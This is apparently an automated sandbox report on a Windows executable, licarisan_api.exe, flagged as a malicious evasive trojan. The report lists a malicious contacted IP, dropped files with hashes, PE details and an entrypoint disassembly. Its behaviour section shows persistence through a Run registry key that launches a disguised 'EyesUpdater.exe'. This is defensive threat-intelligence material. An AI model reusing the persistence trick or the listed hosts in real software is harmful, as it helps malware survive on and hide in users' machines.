IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.142.146.64	unknown	Netherlands		208046	HOSTSLICK-GERMANYNL	true
34.117.59.81	ipinfo.io	United States		139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1526431
Start date and time:	2024-10-05 16:45:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	licarisan_api.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@21/12@5/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 85% Number of executed functions: 197 Number of non-executed functions: 37
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target cvtres.exe, PID 7640 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:47:29	API Interceptor	41x Sleep call for process: powershell.exe modified
11:47:31	API Interceptor	476581x Sleep call for process: cvtres.exe modified
16:46:34	Task Scheduler	Run new task: CreateExplorerShellUnelevatedTask path: C:\Windows\explorer.exe s>/NoUACCheck
17:47:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run OcuulusUpdater C:\Users\user\Music\OcoulsUpdater\EyesUpdater.exe
17:47:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run OcuulusUpdater C:\Users\user\Music\OcoulsUpdater\EyesUpdater.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.142.146.64	an_api.exe	Get hash	malicious	Unknown	Browse
	build.exe	Get hash	malicious	Unknown	Browse
	Form-8879_PDF.jar	Get hash	malicious	Unknown	Browse
	Form-8879_PDF.jar	Get hash	malicious	Unknown	Browse
34.117.59.81	build.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	YjcgpfVBcm.bat	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	lePDF.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	6Mpsoq1.php.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	mjOiDa1hrN.bat	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	8ym4cxJPyl.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	GKrKPXOkdF.zsb.dll	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	JuhnladbIs.qao.dll	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	bdsBbxwPyV.ena.dll	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	fblXRRCHON.pos.dll	Get hash	malicious	Unknown	Browse	ipinfo.io/json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	build.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	setup.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	34.117.59.81
	sqlite.dll	Get hash	malicious	Unknown	Browse	34.117.59.81
	T3xpD9ZaYu.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse	34.117.59.81

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTSLICK-GERMANYNL	an_api.exe	Get hash	malicious	Unknown	Browse	193.142.146.64
	build.exe	Get hash	malicious	Unknown	Browse	193.142.146.64
	ub16vsLP6y.zip	Get hash	malicious	Remcos	Browse	193.142.146.203
	ISehgzqm2V.zip	Get hash	malicious	Remcos	Browse	193.142.146.203
	Form-8879_PDF.jar	Get hash	malicious	Unknown	Browse	193.142.146.64
	Form-8879_PDF.jar	Get hash	malicious	Unknown	Browse	193.142.146.64
	bot_library.exe	Get hash	malicious	Unknown	Browse	193.142.146.43
	SecuriteInfo.com.ELF.Mirai-CQT.17542.12898.elf	Get hash	malicious	Mirai	Browse	193.142.146.10
	arm7.elf	Get hash	malicious	Unknown	Browse	193.142.146.10
	SecuriteInfo.com.ELF.Mirai-CQU.1502.23988.elf	Get hash	malicious	Unknown	Browse	193.142.146.10
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	build.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://s3.amazonaws.com/r3e1272/Rco.html#4eyOul3510eTKK19nejdimaazo189TBUDIERNFIMTFBQ264510CRSG907S11	Get hash	malicious	Phisher	Browse	34.117.39.58
	http://nirothniroth.site/?p=22&fbclid=IwY2xjawFs_DdleHRuA2FlbQIxMQABHTdgZU6ok722L5RxKPR-zh7Gkm6BqZ8BcT950y1bxf6l0LKz0zslg7KJHw_aem__ldVm1UUndXAkwYRakjBzg	Get hash	malicious	Unknown	Browse	34.117.77.79
	https://lil-loveeeees.blogspot.com/	Get hash	malicious	Unknown	Browse	34.117.77.79
	ethaertharety.ps1	Get hash	malicious	Unknown	Browse	34.117.77.79
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	TsxJNxhxMJfQTd.ps1	Get hash	malicious	Unknown	Browse	34.117.77.79
	setup.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	hJABTqngKoJnTgLh.ps1	Get hash	malicious	Unknown	Browse	34.117.77.79
	https://go.hginsights.com/rs/214-HYO-692/images/HG	Get hash	malicious	Unknown	Browse	34.117.177.207

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.350425818619351
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAq1KDLI4M6:MLU84qpE4KH1qE4j
MD5:	EF40B085EA3A6C996900E051DFB237A7
SHA1:	6DE3D5DD935D5A378422F8BD4F851D9C77C9554C
SHA-256:	925F2B4F3FBD2DDDC90835ACDA44378C8451D44C07AC21C367F312F94733ED62
SHA-512:	A9E2D3E43ECB82FADC0E3EA1003EB7CD2CC3A790347D35CB4CBEB81F08BFF82D4868426439C87D2EC746B8E2CF0904EAFA25FCBC91BA26D82659E36C28F91843
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugeC/ZPUyug:lGLHyIFKL3IZ2KRH9Oug8g
MD5:	B960EDFE22DD231143EAD8522EEE36C0
SHA1:	AF669E2D6B3CA5F3FA976F77CE4BEB475943A3A9
SHA-256:	030069D45E5C4F5A19B2B2A687F1D1FD676B9049D956B26C5A04B7175A1A378F
SHA-512:	EE8B762F6A642A4964553D30E7D2A44169D0F27DCCB807C5950403EF321E4C8DBE48CA67D66CCDD9688E10D1E459A0D368DF27AE35BDF60E2795B3F78711083C
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ceqaybs.45w.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqkrcmaq.cgt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2104e5b.dcw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrhjmc3t.wyx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mm0x4urf.cpv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxopufqs.t4g.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pc4uiqqm.0fh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r4fokjcz.xcs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\temp0923

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.446439344671015
Encrypted:	false
SSDEEP:	3:MKV/z:MKBz
MD5:	E27D47991851642F9EDCBA5827441DD5
SHA1:	D2D3C1B59CDE8CA587E7AF6AA565D0B3A6AD69AB
SHA-256:	0736DC7C3FEFD085EC17D24EF7BE290E4447B87A1196397DD3203D7C19EEACED
SHA-512:	BEA4525CFC84C6C666628810723D2A28A2184AEC4F16F8F189425A2D669F62B5F89B00B5035D3B38A94629CF5B0EA5F3A4FD2B224A69C19B4450636AE9989205
Malicious:	false
Preview:	10/05/2024

C:\Users\user\Music\OcoulsUpdater\EyesUpdater.exe

Download File

Process:	C:\Users\user\Desktop\licarisan_api.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	976635604
Entropy (8bit):	0.05947786259074472
Encrypted:	false
SSDEEP:
MD5:	20029C77255611C8B6F9E80F4A81EB62
SHA1:	F2741B8FC4CB365065A63AD5085C561F0FA5C017
SHA-256:	B4BD94232408814D1FE009CBB777F0297FF15679656E15B0962AFF5A9184D8BD
SHA-512:	9E3CF62F73B586FD57192CBE603B26BD77D50AED176C17BBA9DA6072C77539FBEC5D1F0D32933F745BE75E64B7C4DA1E079C193232341CD87325370AB1C35847
Malicious:	false
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...m.$a......................2...................@..........................0B......i>..........@...............................=.......-1..........D=.xO...`...............................P......................d................................text............................... ..`.itext.............................. ..`.data....@.......@..................@....bss.....................................idata...@.......>..................@....tls.........@...........................rdata.......P......................@..@.rsrc....-1.......1.. ..............@..@.....................................................@......................@..@................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.867727256485267
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	licarisan_api.exe
File size:	4'038'008 bytes
MD5:	65a683124fc4ca1839e95322370e2b0d
SHA1:	7a7eafcfa4349e40cb15ab30b5c64d3415e60b96
SHA256:	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f
SHA512:	14b6d7d06f1bd02fffa5f0a4aecb8bbb7b1441597d9ac27a888f5ff441fce785809bd675c7ef7b1da7f99a8d61100e030b6c8b7b128515e8d713d4ffec54123f
SSDEEP:	49152:bP70hwGvLJT/a9yLe7lAsYaxBjbdOGMneGzxgUgoJUcaqCDx6ITcP2MNoSPhaC+O:nUgoJUBZJoP2MNBajvXOSq
TLSH:	28166B21F217E44BD5692579D473D5F26262ADF8E0218603BEBE3C373B70EA0590CAD9
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	3b71d48cc8c86907

Static PE Info

General

Entrypoint:	0x4aac88
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x6124A66D [Tue Aug 24 07:57:33 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	33e003ddaff3bc71480e8cb946f52917

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 004A98E4h
call 00007F965CC9A489h
call 00007F965CD426ACh
mov eax, dword ptr [004F2830h]
mov eax, dword ptr [eax]
call 00007F965CC9F6BCh
mov eax, dword ptr [004F2830h]
mov eax, dword ptr [eax]
mov dl, 01h
call 00007F965CC9F6FEh
mov ecx, dword ptr [004AED4Ch]
mov eax, dword ptr [004F2830h]
mov eax, dword ptr [eax]
mov edx, dword ptr [004A9528h]
call 00007F965CC9F69Eh
mov eax, dword ptr [004F2830h]
mov eax, dword ptr [eax]
call 00007F965CC9F69Ah
call 00007F965CC9A0EDh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf0000	0x13dee	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x110000	0x312d9e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3d4400	0x4f78	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x106000	0x95f8	.rdata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x105000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf1f64	0x1a00	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa9000	0xa8e00	4dcedc69be1aede81644ce6a3e6887bd	False	0.46360045799407845	data	6.68785487611313	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xaa000	0x1000	0xe00	47f13ebf2c1d7f5f845d183af3921c70	False	0.533203125	data	5.726454537490657	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xab000	0x4000	0x4000	50b772b21b84466c3b21a7e6d5fd0748	False	0.48486328125	DOS executable (block device driver)	5.33588059365472	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xaf000	0x41000	0x41000	5bff631ec26d3f55787437155f977ca0	False	0.6882549579326923	data	7.410450162378423	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xf0000	0x14000	0x13e00	a6fdfc22de58e230668e6140af18f713	False	0.20748575078616352	data	5.442044496747251	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x104000	0x1000	0x1000	23a516eee44fe9d482d78f4329d3baa2	False	0.392822265625	data	4.09924522772341	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x105000	0xb000	0x200	7630f45a6a5af0e127c28e46ae9ee2bb	False	0.05078125	data	0.18415065608732903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x110000	0x312d9e	0x312e00	bfa7a1e9c6f9ea922181699866c1a9f4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
MAD	0x11529c	0x14	data			1.25
MAD	0x1152b0	0x10ea4	data			1.0004474337509381
PNG	0x126154	0x269b	PNG image data, 340 x 205, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9596276434281089
PNG	0x1287f0	0x2248	PNG image data, 340 x 205, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9644484958979034
PNG	0x12aa38	0x1915	PNG image data, 340 x 205, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9484503971344027
PNG	0x12c350	0x2114	PNG image data, 340 x 205, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9636277751535192
PNG	0x12e464	0x18f	PNG image data, 19 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0275689223057645
PNG	0x12e5f4	0x238	PNG image data, 19 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0193661971830985
PNG	0x12e82c	0x5059	PNG image data, 205 x 45, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.996159268802567
PNG	0x133888	0x219	PNG image data, 19 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0204841713221602
PNG	0x133aa4	0x258	PNG image data, 19 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0183333333333333
PNG	0x133cfc	0x203	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0155339805825243
PNG	0x133f00	0x358	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0128504672897196
PNG	0x134258	0x153	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9911504424778761
PNG	0x1343ac	0x34a	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.013064133016627
PNG	0x1346f8	0x2c6	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0154929577464789
PNG	0x1349c0	0x114e	PNG image data, 49 x 46, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0024830699774265
PNG	0x135b10	0x18a8	PNG image data, 61 x 57, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.001742712294043
PNG	0x1373b8	0x1e62	PNG image data, 73 x 69, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.001414245307277
PNG	0x13921c	0x30a5	PNG image data, 98 x 92, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.000883321288043
PNG	0x13c2c4	0x475d	PNG image data, 122 x 115, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0008758005364278
PNG	0x140a24	0x6328	PNG image data, 206 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.44425622439331863
PNG	0x146d4c	0x608	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0071243523316062
PNG	0x147354	0x801	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0053684724255734
PNG	0x147b58	0x782	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.005723204994797
PNG	0x1482dc	0x7c3	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0055359838953195
PNG	0x148aa0	0x3f16	PNG image data, 490 x 270, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9763467492260062
PNG	0x14c9b8	0x7b96	PNG image data, 205 x 257, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9983564068525191
